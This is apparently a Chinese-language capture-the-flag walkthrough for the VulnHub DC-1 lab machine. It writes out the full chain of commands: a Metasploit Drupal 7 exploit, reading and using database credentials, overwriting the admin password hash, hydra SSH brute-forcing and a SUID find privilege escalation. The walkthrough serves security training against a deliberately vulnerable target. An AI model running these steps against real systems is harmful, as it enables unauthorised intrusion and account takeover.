目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.202.134)
靶 机:Linux DC-1 3.2.0-6-486
2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录遍历)、hash-identifier(识别hash类型)、msfconsole(利用漏洞获取shell)
测试网址:http://192.168.202.150/
获取靶机:https://vulnhub.com/entry/dc-1,292/
二、测试目的
利用drupal 7的漏洞getshell;
根据提示,一步步渗透到admin的密码,尝试ssh爆破用户,最后使用find命令提权;
找到作者设置的5个flag。
三、操作过程
1、信息搜集
主机探测
arp-scan -l
arp-scan 是一个网络工具,使用arp探测主机,用于在局域网中发现主机。
-l参数:从网络接口配置生成地址。
靶机的IP地址是:192.168.202.150
端口和服务探测
nmap -A -sS -p- -T4 192.168.202.150
-A参数:启用额外的高级和高强度扫描
-sS:半链接扫描
-p-:对所有端口扫描服务
-T4:设置扫描的速度和隐蔽性,等级为0-5
扫描到ssh服务和web服务以及端口映射服务(可以不管)
可以看到探测到web站点使用drupal 7的cms,这个版本存在漏洞可以利用
目录扫描
使用gobuster爆破发现速度太慢了,使用dirsearch也是速度很慢,这个靶机好像限制爆破进程数了(实际上爆破目录没用上什么信息,但这也是信息搜集的一部分,需要完成)
dirsearch -u http://192.168.202.150/ -i 200,301 --exclude-sizes=0B
-i 200,301 :设置只显示对应响应状态码的页面;
200是正常访问的页面、301是重定向页面,通常是目录
--exclude-sizes=0B :表示过滤返回页面大小为0的页面
2、Getshell
使用msf利用drupal7的漏洞
msfconsole
msf6 > search drupal 7
msf6 > use 1
msf6 > show options
msf6 > set rhost 192.168.202.150
msf6 > run
获取了meterpreter,可以直接获取shell
meterpreter是msf其中一种高级的 payload,主要用于执行命令和控制目标系统。
meterpreter使用shell命令可以直接获取shell,
不是交互式shell
meterpreter > shell
获取交互式shell
SHELL=/bin/bash script -q 2>/dev/null
SHELL=/bin/bash:这是一个环境变量的设置;
设置SHELL环境变量为/bin/bash它指定了在运行脚本时要使用的默认shell,即/bin/bash;
script 工具启动一个新的 shell 会话;
-q 选项会让它以静默模式运行,不输出记录信息;
/dev/null 是一个特殊设备,用于丢弃所有输出,相当于不保存会话记录;
2表示错误信息流,2>/dev/null是将错误信息丢弃,不显示错误信息。
①获取flag1
渗透靶机信息
获取shell后,当前目录有flag1.txt
提示查看配置文件
查看web.config没什么信息
②flag2
查看sites目录 ./sites/default/settings.php
在文件前面发现了flag2 ,提示爆破没什么作用,事实也是这样
mysql的账户和密码暴露了,当然就不用爆破喽
dbuser/R0ck3t
尝试登录mysql,成功登录
mysql -udbuser -pR0ck3t
查看表结构,有一张表有用的 drupaldb
show databases;
use drupaldb
show tables;
发现users表存在
查看users表
select * from users;
有用户和密码信息,但是密码是加密的
有admin用户
使用hash-identifier工具查看hash值的类型,发现没有;当然也不是一无所获,至少证明这不是hash值
Users表中的加密方法是drupal定义好的加密方法
密码生成文件是: /var/www/scripts/password-hash.sh
在www目录下,命令:
scripts/password-hash.sh 123456
生成123456的加密:$S$DV3XAiFoFU7KBbzIoBiE1QJAlSlqZdUm79VWIp5BzQs6oFCdO2dM
进入数据库,将admin用户的密码替换为123456的密文
mysql -udbuser -pR0ck3t
use drupaldb
update users set pass='$S$DV3XAiFoFU7KBbzIoBiE1QJAlSlqZdUm79VWIp5BzQs6oFCdO2dM' where uid=1;
成功更改
网页端成功登录admin的后台
③找到flag3
提示shadow信息,/etc/shadow是Linux存放密码的文件,只有root可以查看
它的意思是要我提权了,但也提示,查看密码信息
④flag4
查看/etc/passwd文件,发现了flag4用户
尝试爆破flag4用户ssh登录
hydra -l flag4 -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000.txt 192.168.202.150 ssh -v
成功获取了flag4用户的密码orange
登录到flag4账户,有flag4.txt
这里就找齐所有flag了,flag4也是普通用户,提权使用flag4和www-data没什么区别
3、提权
寻找suid文件时,发现了find命令
使用find命令suid提权
命令:
find / -exec /bin/bash -p \; -quit
-exec (command) \; 对每个找到的文件执行命令
/bin/sh -p:启动一个root权限的shell,-p是/bin/sh的参数,指的就是root权限的bash
⑤thefinalflag
在root目录找到最后一个flag
四、结论
按照渗透测试的流程即可攻陷靶机;
寻找cms的漏洞getshell,找提权点即可利用,提取root。
获取shell后可以查看网页源文件,找一些配置信息、敏感信息;
可以在后台修改信息,达到目的。
破解、修改、伪造信息,都是渗透的思路。